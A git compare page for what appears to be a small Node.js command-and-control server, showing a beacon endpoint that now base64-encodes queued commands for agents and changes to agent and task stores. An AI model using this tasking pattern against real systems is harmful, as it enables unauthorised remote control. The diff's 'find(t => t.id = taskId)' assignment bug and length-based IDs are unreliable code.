Compare commits

..

13 Commits

Author SHA1 Message Date
b92335beed
Merge branch 'master' into sig-changes 2020-08-21 05:26:11 +09:00
ea4bb7ba7a Change fractional seconds (SS) to regular seconds (ss). Thus less resulting in less time traveling 2020-08-21 05:25:11 +09:00
Joshua Collins
2c9a649330 fixed buffer 2020-08-20 15:35:55 -04:00
Joshua Collins
a1cc49085e fixed buffer 2020-08-20 13:28:31 -04:00
Joshua Collins
e7b87cca54 added buffer 2020-08-20 13:24:31 -04:00
Joshua Collins
3c4cd42334 added time travel 2020-08-20 13:23:24 -04:00
Joshua Collins
1a19d9b6f7 added stale agent function 2020-08-20 13:00:35 -04:00
Joshua Collins
f9d6aed78d added stale agent function 2020-08-20 12:58:57 -04:00
Joshua Collins
79a948c939 added stale agent function 2020-08-20 12:49:21 -04:00
Joshua Collins
c418e6dba2 added stale agent function 2020-08-20 12:47:49 -04:00
Joshua Collins
8f0cb0b7b6 added delete agent function 2020-08-20 11:55:21 -04:00
Joshua Collins
955429f4ab added delete agent function 2020-08-20 11:53:35 -04:00
Joshua Collins
144518da57 added delete agent function 2020-08-20 11:49:57 -04:00
3 changed files with 3 additions and 5 deletions

View File

@ -121,7 +121,7 @@ app.get('/beacon/:agentId', (req, res) => {
agentStore.updateAgentBeaconTime(agentId)
const task = taskStore.getNextTaskForAgent(agentId)
if (task) {
res.status(200).send(`${task.id}||${task.command}`)
res.status(200).send(`${task.id}||${Buffer.from(task.command).toString('base64')}`)
} else {
res.status(200).send('sleep')
}

View File

@ -3,12 +3,10 @@ const moment = require('moment')
const Agents = () => {
const obj = {}
obj.agents = []
obj._agentId = 0
obj.addAgent = (os, ip, profile, interval) => {
const agent = {}
obj._agentId += 1
agent.id = obj._agentId
agent.id = obj.agents.length + 1
agent.os = os
agent.ip = ip
agent.profile = profile

View File

@ -17,7 +17,7 @@ const Tasks = () => {
}
obj.getTaskById = (taskId) => {
const task = obj.tasks.find(t => t.id === taskId)
const task = obj.tasks.find(t => t.id = taskId)
return task
? task
: null